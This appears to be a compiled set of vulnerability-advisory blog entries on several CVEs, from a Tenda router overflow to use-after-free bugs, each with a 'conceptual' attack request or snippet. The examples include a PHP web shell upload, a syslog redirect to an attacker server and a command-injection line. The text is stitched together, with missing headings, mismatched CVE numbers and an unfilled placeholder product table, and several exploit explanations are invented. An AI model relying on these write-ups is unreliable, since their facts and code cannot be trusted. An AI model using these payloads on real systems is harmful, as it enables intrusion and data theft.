  • CVE-2025-9748: Critical Buffer Overflow Vulnerability in Tenda CH22 1.0.0.1

    Overview

    The vulnerability identified as CVE-2025-9748 poses a significant threat to systems utilizing the Tenda CH22 1.0.0.1. The affected component is the httpd function fromIpsecitem situated in the file /goform/IPSECsave. This vulnerability can lead to a stack-based buffer overflow, thereby providing an attacker with the potential to compromise the system or leak data. This blog post aims to provide a comprehensive understanding of the vulnerability, its implications, and the appropriate mitigation strategies.

    Vulnerability Summary

    CVE ID: CVE-2025-9748
    Severity: High (8.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential for system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Tenda CH22 | 1.0.0.1

    How the Exploit Works

    The exploit leverages a vulnerability in the fromIpsecitem function of the httpd component in Tenda CH22 1.0.0.1. By manipulating the argument ‘ipsecno’, an attacker can trigger a buffer overflow condition. This overflow occurs because the software writes more data to the buffer than it can hold. This additional data can overwrite adjacent memory locations, potentially leading to erratic software behavior, crashes, or, in worst-case scenarios, execution of arbitrary code by the attacker.

    Conceptual Example Code

    An attacker might exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable endpoint as shown below:

    POST /goform/IPSECsave HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "ipsecno": "A"*1024 }

    In this conceptual example, the “ipsecno” argument is overloaded with a large number of “A” characters (1024 in this case), which might be enough to overflow the buffer and potentially inject malicious code into the system.

    Mitigation

    The recommended mitigation for this vulnerability is to apply the vendor-released patch. If this is not immediately possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability. Regularly updating and patching software is a best practice in cybersecurity and can prevent many such vulnerabilities from being exploited.

  • CVE-2025-7051: Unauthorized Access and Manipulation of Syslog Configuration in N-central

    Overview

    The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this vulnerability could potentially have far-reaching impacts if left unaddressed.

    Vulnerability Summary

    CVE ID: CVE-2025-7051
    Severity: High (8.3 CVSS Score)
    Attack Vector: Network
    Privileges Required: User-level
    User Interaction: Required
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    N-central | All versions prior to 2025.2

    How the Exploit Works

    The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any authenticated user, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, potential system compromise, and data leakage.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

    POST /ncentral/syslog/config HTTP/1.1
    Host: target.example.com
    User-Agent: Mozilla/5.0
    Authorization: Bearer {user_token}
    {
    "syslog_config": {
    "log_level": "debug",
    "log_destination": "{attacker_server}"
    }
    }

    In the above pseudocode, the attacker, authenticated as a regular user, sends a POST request to change the syslog configuration. The ‘log_level’ is set to ‘debug’ to get detailed logs, and ‘log_destination’ is set to the attacker’s server, effectively redirecting all log information to the attacker.

    Mitigation Guidance

    The primary solution to mitigate this vulnerability is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust protection against this vulnerability.

  • CVE-2024-32832: High-Risk Authorization Bypass Vulnerability in “Login with phone number

    Overview

    The cybersecurity landscape is a perpetual battlefield, with new vulnerabilities emerging regularly. One such high-severity vulnerability, tagged as CVE-2024-32832, has been detected in Hamid Alinia’s “Login with phone number” software. This vulnerability arises from a missing authorization check, which, if exploited, could lead to complete system compromise or data leakage. This vulnerability is particularly important to address as it affects the security of user login processes, a critical component in maintaining the overall security of any system.

    Vulnerability Summary

    CVE ID: CVE-2024-32832
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Login with phone number | Up to 1.6.93

    How the Exploit Works

    The exploit takes advantage of the missing authorization logic in the “Login with phone number” feature. An attacker can send a specially crafted request to the application, bypassing the authorization process. This allows unauthorized access to the system without requiring the correct credentials. The attacker then gains the same access or privileges as a legitimate user, leading to the potential for system compromise or data leakage.

    Conceptual Example Code

    Here’s a conceptual representation of how the vulnerability might be exploited. This example assumes the attacker is using an HTTP POST request to the server.

    POST /login HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "phone_number": "1234567890",
    "bypass_auth": "True"
    }

    In this example, the attacker uses the `bypass_auth` parameter in the request, which is not correctly checked for authorization by the server. As a result, the server grants access to the attacker without validating the phone number or the need for a password.

    Mitigation Guidance

    As a mitigation measure, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. These systems can detect and block abnormal traffic patterns or potentially malicious requests, providing some relief until the patch is released and applied.

    How the Exploit Works

    The vulnerability primarily resides in the file upload feature of the Mojoomla School Management software. It fails to properly validate and sanitize the types of files being uploaded to the server. This lack of restriction allows attackers to upload a malicious web shell file to the server. Once uploaded, this web shell can execute arbitrary commands, providing the attacker with unauthorized access to the server and the ability to compromise the system or leak sensitive data.

    Conceptual Example Code

    Below is an illustrative example of how this vulnerability might be exploited. This is a conceptual HTTP request to upload a malicious web shell.

    POST /file_upload HTTP/1.1
    Host: target.school.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="upload_file"; filename="malicious_shell.php"
    Content-Type: application/x-php
    <?php system($_REQUEST['cmd']); ?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    In this example, the attacker uploads a PHP web shell that executes any command passed through the ‘cmd’ HTTP request parameter.

    Mitigation

    The most effective way to mitigate this vulnerability is by applying the vendor’s patch. If it’s not immediately possible to apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on attempts to upload potentially dangerous file types.
    Remember, regular updates and patches are crucial to prevent potential cyber threats. Always adhere to the principle of least privilege, and avoid giving unnecessary permissions to users or services that do not require them.

    Affected Products

    Product | Affected Versions

    Evope Core | v.1.1.3.20

    How the Exploit Works

    The exploit takes advantage of hard-coded cryptographic keys within the Evope Core v.1.1.3.20. An attacker who has local access to the system can use these keys to decrypt sensitive information, potentially gaining unauthorized access to confidential data and system resources. The hardcoded keys could be leveraged to intercept and decrypt data, manipulate data, or even create unauthorized administrative accounts, leading to a full system compromise.

    Conceptual Example Code

    The following example demonstrates a potential way an attacker might exploit this vulnerability. This is a conceptual example and does not reflect an actual exploit:

    # An example of how hardcoded keys might be used to decrypt sensitive data
    def exploit(target):
    hardcoded_key = 'VulnerableHardCodedKey'
    encrypted_data = target.retrieve_encrypted_data()
    decrypted_data = decrypt(hardcoded_key, encrypted_data)
    return decrypted_data
    # Assuming that the attacker has local access to the system
    target = LocalSystem()
    sensitive_data = exploit(target)
    print(sensitive_data)

    In this pseudocode, an attacker uses the hard-coded key to decrypt sensitive data retrieved from the target system.

    Recommended Mitigation

    As CVE-2025-56577 is a result of hardcoded cryptographic keys in Evope Core v.1.1.3.20, the primary solution is to apply the vendor-supplied patch, which removes these hardcoded keys and replaces them with a more secure method of encryption.

    Affected Products

    Product | Affected Versions

    Dell ThinOS 10 | versions prior to 2508_10.0127

    How the Exploit Works

    The vulnerability, CVE-2025-43730, exists due to the improper handling of command argument delimiters by the system. This flaw allows an attacker to manipulate the argument of a command, leading to unintended behavior. Specifically, it allows an attacker to inject their commands, which the system will subsequently execute. As it requires no user interaction or privileges, the vulnerability can be exploited by any unauthenticated local user, leading to an elevation of privileges and potential information disclosure.

    Conceptual Example Code

    To illustrate how the exploit might work in practice, let’s consider a pseudocode conceptual example:

    $ command --option="safe_value; injected_command"

    In this scenario, the `injected_command` is executed due to the improper handling of argument delimiters. The semicolon (;
    ) serves as the;
    separating the `safe_value` from the `injected_command`. The system executes the `injected_command` as part of the overall command, leading to potential privilege escalation and information leakage.
    It’s important to note that this is a generalized example and the specific commands and potential outcomes can vary greatly based on the specifics of the system and the intentions of the attacker.

  • CVE-2025-22410: Critical Use After Free Vulnerability Allowing Arbitrary Code Execution

    [Product 2] | [Version y.y.y]
    (Note: The products and versions have not been explicitly mentioned as it was not provided in the brief. However, in an actual case, this information would be sourced from the vulnerability announcement or advisory.)

    How the Exploit Works

    The vulnerability CVE-2025-22410 exploits a use after free issue. In these situations, a program continues to use a pointer after it has been freed. This can lead to two types of issues: if the freed memory is overwritten with new data, the program may crash or execute arbitrary code, leading to a potential security vulnerability.
    In the case of CVE-2025-22410, an attacker can exploit this vulnerability by inserting malicious code into the freed space, thereby leading to arbitrary code execution. Since no additional privileges are required and user interaction is not necessary for exploitation, the vulnerability is particularly severe and easily exploitable.

    Conceptual Example Code

    Here’s a simplified conceptual example of how the vulnerability might be exploited. Please note that this is pseudocode and is intended only to illustrate the vulnerability:

    char* ptr = malloc(100);
    strcpy(ptr, "Safe String");
    free(ptr);
    // Some other code that might reallocate the freed memory
    strcpy(ptr, "Malicious Code"); // Use after free!
    execute(ptr); // Arbitrary code execution

    In the above pseudocode, after the memory pointed by `ptr` is freed, it is used again to store a malicious string. This malicious string can then be executed, leading to arbitrary code execution.

    How the Exploit Works

    This vulnerability is based on a use-after-free error in the rfc_send_buf_uih function of rfc_ts_frames.cc. A use-after-free error occurs when a program continues to use a pointer after it has been freed. This can lead to a variety of adverse effects, including program crashes, incorrect operation, and exploitable conditions.
    In this case, the error could allow an attacker to execute arbitrary code and escalate privileges locally. They could potentially gain control over the affected system, leading to system compromise or data leakage.

    Conceptual Example Code

    The following is a conceptual example of how this vulnerability might be exploited. It does not represent actual exploit code but is intended to illustrate the type of scenario that could occur.

    #include <stdlib.h>
    int main() {
    char *p = malloc(10 * sizeof(char)); // allocate memory
    free(p); // free memory
    strcpy(p, "malicious code"); // use after free, potentially writing arbitrary code
    return 0;
    }

    In this example, memory is allocated to a pointer, then freed. However, the pointer is then used again to write arbitrary code, illustrating a use-after-free error. In the context of the CVE-2025-22409 vulnerability, such misuse could enable an attacker to execute arbitrary code and escalate privileges locally, leading to potential system compromise and data leakage.
